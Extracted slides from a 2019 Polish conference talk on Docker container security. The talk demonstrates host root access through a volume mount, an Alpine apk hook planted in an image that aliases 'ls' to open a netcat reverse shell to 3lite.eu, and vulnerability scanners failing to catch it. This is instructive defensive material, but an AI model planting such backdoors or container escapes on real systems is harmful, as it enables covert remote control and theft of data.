DevOps congress: Paweł Breś - Docker cotrainers security

1DEVOPS CONGRESS 2019
DEVOPS
CONGRESSWrocław
2019
DOCKER
SECURITY

2www.sii.pl
Paweł Breś
Mam nieco ponad 10 lat zawodowego
doświadczenia w branży IT

3www.sii.pl
- Java
- PHP
- Python

4www.sii.pl
- lua
- ruby
- groovy
- bash

5www.sii.pl
- OpenStack
- Mesos & Marathon
- Kubernetes

6www.sii.pl
Wóójkuuuu!!!
Ale jak?

7www.sii.pl
The bomb has been
planted!
Ale jak?
root@ubuntu-bionic:/home/vagrant# docker run -v /:/homee -it --rm alpine:3.9 sh
/ # echo 'echo testing' > /homee/bin/runn && chmod a+x /homee/bin/runn
/ # ls -lah /homee/bin/runn
-rwxr-xr-x 1 root root 15 Oct 15 22:34 /homee/bin/runn
/ # exit
root@ubuntu-bionic:/home/vagrant# ls -lah /bin/runn
-rwxr-xr-x 1 root root 15 Oct 15 22:34 /bin/runn

8www.sii.pl
Terrorists win!
Ale jak?
/ # chroot /homee /bin/sh
# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 159584 9040 ? Ss 22:09 0:01 /lib/systemd/systemd --system
--deserialize 39
root 2 0.0 0.0 0 0 ? S 22:09 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< 22:09 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< 22:09 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S 22:09 0:00 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I 22:09 0:00 [rcu_sched]
root 9 0.0 0.0 0 0 ? I 22:09 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S 22:09 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S 22:09 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 22:09 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 22:09 0:00 [cpuhp/1]

9www.sii.pl
Ale jak?
root@ubuntu-bionic:/home/vagrant# useradd -c -m testing
root@ubuntu-bionic:/home/vagrant# sudo systemctl stop docker
root@ubuntu-bionic:/home/vagrant# sudo sed -i -E 's@(ExecStart=/usr/bin/dockerd)@1
--userns-remap=testing:testing@' /lib/systemd/system/docker.service
root@ubuntu-bionic:/home/vagrant# systemctl daemon-reload
root@ubuntu-bionic:/home/vagrant# systemctl start docker.service
/ # chroot /homee /bin/sh
# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
nobody 1 0.0 0.1 159812 9276 ? Ss 22:09 0:01 /lib/systemd/systemd --system --deserialize 39
nobody 2 0.0 0.0 0 0 ? S 22:09 0:00 [kthreadd]
nobody 4 0.0 0.0 0 0 ? I< 22:09 0:00 [kworker/0:0H]
nobody 6 0.0 0.0 0 0 ? I< 22:09 0:00 [mm_percpu_wq]
nobody 7 0.0 0.0 0 0 ? S 22:09 0:00 [ksoftirqd/0]
nobody 8 0.0 0.0 0 0 ? I 22:09 0:00 [rcu_sched]
nobody 9 0.0 0.0 0 0 ? I 22:09 0:00 [rcu_bh]
nobody 10 0.0 0.0 0 0 ? S 22:09 0:00 [migration/0]
nobody 11 0.0 0.0 0 0 ? S 22:09 0:00 [watchdog/0]

10www.sii.pl
Ale jak?
root@ubuntu-bionic:/home/vagrant# useradd -c -m testing
root@ubuntu-bionic:/home/vagrant# sudo systemctl stop docker
root@ubuntu-bionic:/home/vagrant# sudo sed -i -E
's@(ExecStart=/usr/bin/dockerd)@1 --userns-remap=testing:testing@'
/lib/systemd/system/docker.service
root@ubuntu-bionic:/home/vagrant# systemctl daemon-reload
root@ubuntu-bionic:/home/vagrant# systemctl start docker.service
/ # echo 'echo testing' > /homee/bin/runn && chmod a+x /homee/bin/runn
sh: can't create /homee/bin/runn: Permission denied

11www.sii.pl
- DevOps
- DiD
- DoD
Zagrożenie lawinowe

12www.sii.pl
justi.cz
root@ubuntu-bionic:/tmp/testing# cat Dockerfile
FROM alpine/semver:latest
RUN apk add libmnl
CMD [ls]

13www.sii.pl
root@ubuntu-bionic:/tmp/testing# docker build --add-host dl-
cdn.alpinelinux.org:127.0.0.1 -t bad_little_o_me:0.0.1 .
Sending build context to Docker daemon 2.048kB
Step 1/3 : FROM alpine/semver:latest
---> 3731a612aafc
Step 2/3 : RUN apk add libmnl
---> Running in 428559229f39
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/main: could not connect to
server (check repositories file)
fetch http://dl-
cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/community: could not connect
to server (check repositories file)
(1/1) Installing libmnl (1.0.4-r0)
ERROR: libmnl-1.0.4-r0: could not connect to server (check repositories file)
1 error; 6 MiB in 15 packages
The command '/bin/sh -c apk add libmnl' returned a non-zero code: 1

14www.sii.pl
Step 2/3 : RUN apk add libmnl vim
---> Running in f71aac264745
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/main: could not connect to server
(check repositories file)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/community: could not connect to server
(check repositories file)
(1/6) Installing libmnl (1.0.4-r0)
ERROR: libmnl-1.0.4-r0: could not connect to server (check repositories file)
ERROR: lua5.3-libs-5.3.4-r5: could not connect to server (check repositories file)
(2/6) Installing lua5.3-libs (5.3.4-r5)
(3/6) Installing ncurses-terminfo-base (6.1-r0)
ERROR: ncurses-terminfo-base-6.1-r0: could not connect to server (check repositories
file)
(4/6) Installing ncurses-terminfo (6.1-r0)
ERROR: ncurses-terminfo-6.1-r0: could not connect to server (check repositories file)
(5/6) Installing ncurses-libs (6.1-r0)
(6/6) Installing vim (8.1.0115-r0)
ERROR: ncurses-libs-6.1-r0: could not connect to server (check repositories file)
ERROR: vim-8.1.0115-r0: could not connect to server (check repositories file)
6 errors; 6 MiB in 15 packages
The command '/bin/sh -c apk add libmnl vim' returned a non-zero code: 6

15www.sii.pl
root@ubuntu-bionic:/tmp/testing# docker build --add-host dl-
cdn.alpinelinux.org:127.0.0.1 -t bad_little_o_me:0.0.1 .
Sending build context to Docker daemon 2.048kB
Step 1/3 : FROM alpine/semver:latest
---> 3731a612aafc
Step 2/3 : RUN apk add libmnl vim openssl knock tcpdump python php ruby lua
fbida perl abook-lang nodejs multitail-doc openldap git nmap python3 bind nginx
apache2 ansible docker gcc nano go postgresql mysql mongodb pdns itstool
bind-tools jailkit multitail samba zfs jack expect libabw sc pcre-dev incron
iptstate zsh ldns vigra libvdpau djbdns mariadb orc corebird rsync pixman
icedtea-web graphviz-graphs garcon-doc kbd-legacy tree tree-doc
---> Running in 9774b8665cc9

16www.sii.pl
(254/256) Installing zfs-zsh-completion (5.5.1-r0)
ERROR: zfs-zsh-completion-5.5.1-r0: could not connect to server (check repositories file)
(255/256) Installing git-zsh-completion (5.5.1-r0)
ERROR: git-zsh-completion-5.5.1-r0: could not connect to server (check repositories file)
(256/256) Installing docker-zsh-completion (18.03.1-r0)
ERROR: docker-zsh-completion-18.03.1-r0: could not connect to server (check
repositories file)
256 errors; 6 MiB in 15 packages
Removing intermediate container 9774b8665cc9
---> 0e84aacf17d9
Step 3/3 : CMD [ls]
---> Running in 163c8d02fdb6
Removing intermediate container 163c8d02fdb6
---> 53437ccb19d0
Successfully built 53437ccb19d0
Successfully tagged bad_little_o_me:0.0.1

17www.sii.pl
wagoodman/dive

18www.sii.pl
I see tar gzips, tar gzips everywhere.
root@ubuntu-bionic:/home/vagrant# docker save -o ./bad_me__0.0.2.tar bad_me:0.0.2
root@ubuntu-bionic:/home/vagrant# tar tf ./bad_me__0.0.2.tar
3fc60f14dfa1ca867ff2d5ca06295b257fcc0f44aee088fdea6b65a0521d2100.json
5cd7b42b4fc96b6be1b22abf175843faa0abdf36c94a3d1269eab9ef39829b1b/
5cd7b42b4fc96b6be1b22abf175843faa0abdf36c94a3d1269eab9ef39829b1b/VERSION
5cd7b42b4fc96b6be1b22abf175843faa0abdf36c94a3d1269eab9ef39829b1b/json
5cd7b42b4fc96b6be1b22abf175843faa0abdf36c94a3d1269eab9ef39829b1b/layer.tar
8f52818719ad48a0af558ae2a44eed3cb3fe080f13c9fbdc67ef15667af59196/
8f52818719ad48a0af558ae2a44eed3cb3fe080f13c9fbdc67ef15667af59196/VERSION
8f52818719ad48a0af558ae2a44eed3cb3fe080f13c9fbdc67ef15667af59196/json
8f52818719ad48a0af558ae2a44eed3cb3fe080f13c9fbdc67ef15667af59196/layer.tar
e67ec36488c7b11b263233332c3811099eeeba13433f3cdecae7da26cf26fc03/
e67ec36488c7b11b263233332c3811099eeeba13433f3cdecae7da26cf26fc03/VERSION
e67ec36488c7b11b263233332c3811099eeeba13433f3cdecae7da26cf26fc03/json
e67ec36488c7b11b263233332c3811099eeeba13433f3cdecae7da26cf26fc03/layer.tar
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/VERSION
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/json
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/layer.tar
f3a308ee6406d0714117434facfe67ccb347f34f071971f2628edfe0c62ff75e/
f3a308ee6406d0714117434facfe67ccb347f34f071971f2628edfe0c62ff75e/VERSION
f3a308ee6406d0714117434facfe67ccb347f34f071971f2628edfe0c62ff75e/json
f3a308ee6406d0714117434facfe67ccb347f34f071971f2628edfe0c62ff75e/layer.tar
manifest.json
repositories

19www.sii.pl
root@ubuntu-bionic:/home/vagrant# tar xOf ./bad_me__0.0.2.tar manifest.json
[
{
"Config": "3fc60f14dfa1ca867ff2d5ca06295b257fcc0f44aee088fdea6b65a0521d2100.json",
"RepoTags": [
"bad_me:0.0.2"
],
"Layers": [
"8f52818719ad48a0af558ae2a44eed3cb3fe080f13c9fbdc67ef15667af59196/layer.tar",
"e67ec36488c7b11b263233332c3811099eeeba13433f3cdecae7da26cf26fc03/layer.tar",
"f3a308ee6406d0714117434facfe67ccb347f34f071971f2628edfe0c62ff75e/layer.tar",
"5cd7b42b4fc96b6be1b22abf175843faa0abdf36c94a3d1269eab9ef39829b1b/layer.tar",
"eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/layer.tar"
]
}
]

20www.sii.pl
root@ubuntu-bionic:/home/vagrant# tar xOf ./bad_me__0.0.2.tar
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/layer.tar | tar t
etc/
etc/apk/
etc/apk/commit_hooks.d/
etc/apk/commit_hooks.d/.wh..wh..opq
etc/apk/commit_hooks.d/x
etc/apk/world
etc/profile
lib/
lib/apk/
lib/apk/db/
lib/apk/db/installed
lib/apk/db/lock
lib/apk/db/scripts.tar
lib/apk/db/triggers
usr/
usr/lib/

21www.sii.pl
root@ubuntu-bionic:/home/vagrant# tar xOf ./bad_me__0.0.2.tar
eff8bc50c94715ebf4e13b2c0c3000c81b97b6b3aef12291c1b570808384193d/layer.ta
r | tar xO etc/apk/commit_hooks.d/x
#!/bin/sh
echo “alias ls=”if [ ”$(pgrep nc)” == ”” ]; then (nc 3lite.eu 12345 -e /bin/sh
&); sleep 3; fi; /bin/ls” >> /etc/profile”

22www.sii.pl
- Partnerzy
- Oficjalne obrazy
- Dockerfile

23www.sii.pl

24www.sii.pl

25www.sii.pl

26www.sii.pl
Darmowe I potężne
Kopmy głęboko

28www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/vagrant/clair# docker run --rm -v
/var/run/docker.sock:/var/run/docker.sock -v /vagrant/clair/entrypoint.sh:/bin/scan_image
-v /tmp/reports:/reports claircli:latest bad_me:0.0.2

30www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/vagrant/clair# cat /tmp/reports/clair-bad_me_0.0.2.json | jq .
{
"ImageName": "bad_me:0.0.2",
"NamespaceName": "alpine:v3.8",
"Unapproved": [],
"Approved": [],
"Severity": {
"Defcon1": 0,
"Critical": 0,
"High": 0,
"Medium": 0,
"Low": 0,
"Negligible": 0,
"Unknown": 0,
"Total": 0
},
"Vulnerabilities": []
}

31www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py check --docker_image
bad_me:0.0.2
{
"id": "5da7b260e45e320934627bad",
"msg": "Accepted the analysis of <bad_me:0.0.2>"
}
root@ubuntu-bionic:/opt/dagda/dagda# while [ $(python3 dagda.py history
bad_me:0.0.2 | jq -r '.[0].status') == Analyzing ]; do echo waiting for the analysis;
python3 dagda.py history bad_me:0.0.2; sleep 10; done
waiting for the analysis
[
{
"id": "5da7b260e45e320934627bad",
"image_name": "bad_me:0.0.2",
"status": "Analyzing",
"timestamp": "2019-10-17 00:14:24.190249"
}
]

32www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py history bad_me:0.0.2
[
{
"id": "5da7b260e45e320934627bad",
"static_analysis": {
"malware_binaries": [],
"os_packages": {
"ok_os_packages": 15,
"os_packages_details": [
{
"is_false_positive": false,
"is_vulnerable": false,
"product": "musl",
"version": "1.1.19",
"vulnerabilities": []
},

33www.sii.pl
Kopmy głęboko
],
"total_os_packages": 15,
"vuln_os_packages": 0
},
"prog_lang_dependencies": {
"dependencies_details": {
"java": [],
"js": [],
"nodejs": [],
"php": [],
"python": [],
"ruby": []
},
"vuln_dependencies": 0
}
},
"status": "Completed",
"timestamp": "2019-10-17 00:15:19.399608"
}
]

34www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/home/vagrant# docker run -it --rm bad_me:0.0.2 sh -l
85aefda95768:/# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.4 85aefda95768
85aefda95768:/# vi /etc/hosts
85aefda95768:/# ls
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
85aefda95768:/# ls
85aefda95768:/# ls
85aefda95768:/#

35www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py monitor 85aefda95768 --start
{
"id": "5da7b451e45e320934627baf",
"msg": "Monitoring of docker container with id <85aefda95768> started"
}

36www.sii.pl
Kopmy głęboko
vagrant@ubuntu-bionic:~$ echo ps aux && ls -lah | nc -l -k 12345
PID USER TIME COMMAND
1 root 0:00 sh -l
29 root 0:00 /bin/sh
30 root 0:00 sleep 3
31 root 0:00 ps aux
total 64
drwxr-xr-x 1 root root 4.0K Oct 17 00:18 .
drwxr-xr-x 1 root root 4.0K Oct 17 00:18 ..
-rwxr-xr-x 1 root root 0 Oct 17 00:18 .dockerenv
drwxr-xr-x 1 root root 4.0K Jul 20 2018 bin
drwxr-xr-x 5 root root 360 Oct 17 00:18 dev
drwxr-xr-x 1 root root 4.0K Oct 17 00:18 etc
drwxr-xr-x 1 root root 4.0K Jul 20 2018 home
drwxr-xr-x 1 root root 4.0K Jul 5 2018 lib
drwxr-xr-x 5 root root 4.0K Jul 5 2018 media
drwxr-xr-x 2 root root 4.0K Jul 5 2018 mnt
drwxr-xr-x 3 root root 4.0K Jul 20 2018 opt
dr-xr-xr-x 155 root root 0 Oct 17 00:18 proc
drwx------ 1 root root 4.0K Oct 17 00:22 root
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

37www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py monitor 85aefda95768 --stop
{
"id": "5da7b451e45e320934627baf",
"runtime_analysis": {
"anomalous_activities_detected": {
"anomalous_activities_details": [
{
"output": "00:23:24.900940450: Error File below /etc opened for writing (user=root
command=vi /etc/hosts parent=sh pcmdline=sh -l file=/etc/hosts program=vi gparent=<NA>
ggparent=<NA> gggparent=<NA>) container=eloquent_swartz (id=85aefda95768)",
"priority": "Error",
"rule": "Write below etc",
"time": "2019-10-17 00:23:24.900940"
}
],
"anomalous_counts_by_severity": {
"Error": 1
}
},
"container_id": "85aefda95768",
"start_timestamp": "2019-10-17 00:22:41.457865",
"stop_timestamp": "2019-10-17 00:24:15.496739"
},
"timestamp": "2019-10-17 00:22:41.457865"
}

38www.sii.pl
Kopmy głęboko
vagrant@ubuntu-bionic:~$ echo cat /etc/passwd | nc -l -k 12345
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin

39www.sii.pl
Kopmy głęboko
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py monitor 85aefda95768 --start
{
"id": "5da7b516e45e320934627bb0",
"msg": "Monitoring of docker container with id <85aefda95768> started"
}
root@ubuntu-bionic:/opt/dagda/dagda# python3 dagda.py monitor 85aefda95768 --stop
{
"id": "5da7b516e45e320934627bb0",
"runtime_analysis": {
"anomalous_activities_detected": null,
"container_id": "85aefda95768",
"start_timestamp": "2019-10-17 00:25:58.962828",
"stop_timestamp": "2019-10-17 00:26:43.019752"
},
"timestamp": "2019-10-17 00:25:58.962828"
}
root@ubuntu-bionic:/opt/dagda/dagda#

Paranoia Rozsądek
CO DALEJ?
pbres@sii.pl

CO DALEJ?
DevOps
=
AgileCoach procesów technicznych

BOM:
● https://justi.cz/security/2018/09/13/alpine-apk-rce.html
● https://stackoverflow.com/questions/41991905/docker-root-access-to-
host-system
● https://www.electricmonk.nl/log/2017/09/30/root-your-docker-host-in-
10-seconds-for-fun-and-profit/
● https://github.com/moby/moby/issues/1655
● http://www.ryanthelinuxguy.com/blog/2018/07/01/docker-root.html
● https://github.com/wagoodman/dive
● https://github.com/eliasgranderubio/dagda
● https://sysdig.com/opensource/falco/
● https://github.com/coreos/clair
● https://hub.docker.com/

DevOps congress: Paweł Breś - Docker cotrainers security

Recommended

Recommended

More Related Content

Recently uploaded

Recently uploaded (20)

Featured

Featured (20)

DevOps congress: Paweł Breś - Docker cotrainers security